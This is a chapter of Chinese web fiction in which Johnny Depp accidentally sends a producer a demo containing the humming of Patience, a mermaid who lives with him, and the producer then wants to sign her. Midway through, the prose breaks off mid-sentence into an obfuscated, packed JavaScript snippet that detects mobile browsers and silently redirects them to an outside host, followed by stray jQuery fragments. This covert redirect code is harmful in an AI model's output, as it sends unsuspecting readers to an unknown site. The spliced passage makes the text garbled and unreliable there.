圣莫尼卡码头那场啼笑皆非的主仆游戏之后,德普和佩欣丝之间的关系,似乎进入了一种更加微妙的平衡状态。
德普依旧在为佩欣丝的各种人鱼习性和突发奇想头痛不已,而佩欣丝也依旧乐此不疲地扮演着她的小女王角色,心安理得地使唤着她的仆人先生。
但有些东西,确实在悄悄改变。
比如,德普发现自己对佩欣丝的容忍度又提升了几个等级,甚至能在她把一整瓶昂贵的橄榄油倒进浴缸试图进行深海SPA时,只是平静地让她下次记得用便宜点的牌子。
而佩欣丝,偶尔也会在德普因为工作而显得异常疲惫时,罕见地安静片刻,不再制造新的麻烦,甚至会笨拙地把她自己藏起来的零食分享给他一两片。
这种改变是细微的,如同春雨般润物无声,却也让这栋原本因人鱼的闯入而鸡飞狗跳的豪宅,渐渐生出了一种奇异的家的错觉。
当然,德普会把这种错觉归咎于自己睡眠不足和精神压力过大。
就在这种混乱与宁静交织的日常中,一个真正的意外,如同深海中毫无预兆涌起的暗流,悄无声息地发生了。
德普最近在筹备一张个人音乐专辑——这是他多年来的一个夙愿。
他常常会在家里的私人录音室待上很久,摆弄那些吉他、贝斯、鼓,或者尝试写一些新的旋律。
佩欣丝偶尔会好奇地溜进来,像只小猫一样,这里摸摸,那里碰碰。
她对那些能发出各种声音的人类玩具很感兴趣,但通常三分钟热度,很快就会被其他更新奇的事物吸引走。
那天下午,德普在录音室里捣鼓了一段新的吉他即兴,觉得有点意思,便随手打开了录音设备,想把这段旋律录下来。
录了一半,他突然想起厨房里还炖着东西,便急匆匆地跑了出去,录音设备却忘了关。
佩欣丝正好闲得无聊,在屋子里四处游荡。她听到录音室里有吉他声,便推开门溜了进去。
看到那些亮着指示灯的奇怪机器和支在地上的麦克风,她好奇地凑了过去。
她伸出手指,小心翼翼地戳了戳麦克风上那层黑色的海绵罩,觉得软乎乎的,有点像某种水母的触手。
她想起了小时候在海里,经常会和着海浪的声音,随意哼唱一些不成调的歌谣,那些歌谣是人鱼族代代相传的,没有歌词,只有最纯粹的,能够与海洋共鸣的旋律。
此刻,在这个安静的,只剩下吉他余音的房间里,她忽然也来了兴致。
她对着那个黑色的海绵触手,轻轻地、几乎是无意识地,哼唱出了一段不成调的,空灵悠远的旋律。
那旋律很短,像是某种古老歌谣的片段,带着深海的宁静和月光的清冷,又有一丝难以言喻的,属于异世界的神秘与纯粹。
她哼了几句,觉得有点口渴,便又像一阵风似的跑出去找水喝了,完全没把这件事放在心上。
当德普手忙脚乱地处理完厨房里那锅差点变成生化武器的海鲜乱炖,重新回到录音室时,已经是半个小时之后了。
他看到录音设备还开着,便随手关掉,也没太在意。
直到几天后,他整理录音素材,准备把那段吉他即兴发给一位合作多年的音乐制作人朋友兼独立厂牌老板马库斯听听,看有没有进一步发展的可能时,才意外地发现了这段多出来的录音。
“嗯?这是什么?”他戴上耳机,点开那段标记着未知音轨的文件。
起初是一段熟悉的吉他旋律,然后,一个空灵纯净,不似凡间的女声毫无预兆地响了起来。
那声音没有歌词,只是一段随性的哼唱,却像是一股清泉,瞬间洗涤了他所有的疲惫和烦躁。
这段旋律带着一种难以形容的魔力,仿佛能将人带入一个幽深静谧的海底世界,看到月光穿透水面,照亮摇曳的海藻和沉睡的珊瑚。
德普的心脏猛地漏跳了一拍。这个声音……是佩欣丝!
他立刻想起了几天前那个下午,他确实忘了关录音设备。原来是她溜进来,对着麦克风唱歌了?
他反复播放着那段只有短短几十秒的哼唱,越听越是心惊。
他早就知道佩欣丝的歌声很特别,但之前听到的,要么是她在浴室里旁若无人的高歌,要么是带着几分戏谑和挑衅的怪调。
而这一次,这段无意识的,纯粹的哼唱,却将她声音中最原始最动人的特质,毫无保留地展现了出来。
这已经不仅仅是好听的范畴了,这简直就是……神迹。
一种复杂的情绪涌上德普的心头。惊喜,震撼,还有一丝深深的忧虑。这样的声音,如果被外界知道……
他下意识地想把这段录音删掉。
佩欣丝的身份太特殊,她的歌声也太容易引起轰动。他不想让她卷入任何不必要的麻烦,更不想让她那不属于这个世界的纯粹,被商业和名利所玷污。
但就在他把鼠标移向删除按钮的瞬间,他又犹豫了。
这样天籁般的声音,如果就此湮没,是不是也太可惜了?
他自己也是个热爱音乐的人,他知道这样的天赋有多么罕见和珍贵。
就在他天人交战之际,一个不合时宜的念头闪过——他答应了马库斯今天要把吉他demo发过去的。
他看了一眼时间,已经有些晚了。他匆匆忙忙地把那段吉他即兴文件拖进邮件附件,检查了一下收件人地址,便按下了发送键。
做完这一切,他才猛地想起。刚才那段佩欣丝的哼唱,好像!是紧跟在那段吉他后面的同一个音频文件里!他忘了把它分割出来!
“Shit!”德普低咒一声,想撤回邮件,但已经来不及了,已发送的提示无情地跳了出来。
他烦躁地抓了抓头发,抱着一丝侥行心理安慰自己:马库斯那家伙,估计只会听前面的吉他部分,后面的应该会被当成杂音直接忽略掉吧?
然而,他显然低估了一位资深音乐制作人对声音的敏感度,也低估了佩欣丝歌声的杀伤力。
第二天下午,德普就接到了马库斯十万火急的电话。
电话一接通,马库斯那特有的大嗓门就吼了过来:“Johnny!我的老天!你发给我的那个demo!后面那个女声!那个哼唱!是谁?!她是谁?!她的声音简直就是,就是天使嘴中吐出了珍珠!不!比那还要美妙!你从哪里挖到这样的宝贝?!快告诉我!”
德普听着马库斯语无伦次的,充满了夸张比喻的赞美,感觉自己的额头青筋直跳。
果然,最担心的事情还是发生了。
“Marcus,冷静点,”他试图稳住对方,“那可能只是录音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589454|171825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
室里的一些背景杂音,或者是我不小心录进去的什么东西。”
“杂音?!约翰尼·德普,你管那种天籁之音叫杂音?!”
马库斯的声音又拔高了几度:“你是不是想私藏这个宝贝?!我告诉你,这样的声音,几十年都难得一遇!她是谁?是你新签的秘密武器吗?还是你的新女友唱歌这么厉害?”
马库斯的八卦之魂熊熊燃烧起来。
“都不是!”德普赶紧否认,“她只是一个朋友,随便哼哼的,当不得真。”
“当不得真?Johnny,我是专业的!那段哼唱虽然短,但无论是音准、音色、乐感,全是顶级的!而且带着一种,我形容不出来的,让人灵魂都起鸡皮疙瘩的魔力!这样的声音,如果好好打造,绝对能震惊整个乐坛!”马库斯越说越激动,“你必须把她介绍给我!我要签下她!不惜一切代价!”
德普听着马库斯那不容置疑的语气,感觉一个头两个大。
签下佩欣丝?让她进入娱乐圈?这简直就是把一条美人鱼丢进鲨鱼群里!
“马库斯,这件事……很复杂。”他含糊其辞,“她……可能不太适合这个圈子。”
“不适合?有这样的声音怎么会不适合?!”马库斯显然不相信,“是不是有什么难言之隐?没关系,你告诉我,我来解决!只要能让她开口唱歌,一切都不是问题!”
德普知道,马库斯一旦对某个声音或者某个歌手产生了兴趣,就会像最执着的猎犬一样紧追不放。
这件事,恐怕没那么容易糊弄过去了。
挂了电话,德普的心情无比沉重。
他走到客厅,看到佩欣丝正盘腿坐在地毯上,聚精会神地用一根牙签试图给一颗草莓雕刻出鱼的形状,神情专注得像是在进行一项伟大的艺术创作。
她对外界即将发生的风暴一无所知,依旧沉浸在自己那个简单的小世界里。
德普看着她,内心充满了矛盾。
告诉她吗?告诉她她的歌声可能会让她成为万众瞩目的明星,也可能会让她陷入无尽的麻烦和危险?
还是,想办法把这件事压下去,继续让她留在这个相对安全的小天地里?
他试探着开口:“佩欣丝……你,喜欢唱歌吗?”
佩欣丝头也没抬,专心致志地给她的草莓鱼雕刻眼睛:“喜欢啊。我们人鱼都喜欢唱歌。”
语气轻松得像是在说“我们人鱼都喜欢大海”一样理所当然。
“那,你想过在很多人面前唱歌吗?”德普小心翼翼地问。
佩欣丝终于抬起头,奇怪地看了他一眼,仿佛他问了个很傻的问题:“在很多人面前唱歌?为什么要这样?除非他们会给我很多很多好吃的鱼?”
她顿了顿,眼睛一亮,补充道:“还要有那种亮晶晶的,圆滚滚的小珍珠!越多越好!”
德普:“……”
好吧,他大概知道她的答案了。名利对她来说,可能还不如一顿海鲜大餐和几颗漂亮的贝壳有吸引力。
这样的佩欣丝,真的能适应娱乐圈吗?德普深深地怀疑。
但马库斯的电话……有些事情,一旦开始,恐怕就由不得他来控制了。
他看着佩欣丝那张天真,对人类世界一无所知的脸,心中那份想要保护她的念头,愈发强烈起来。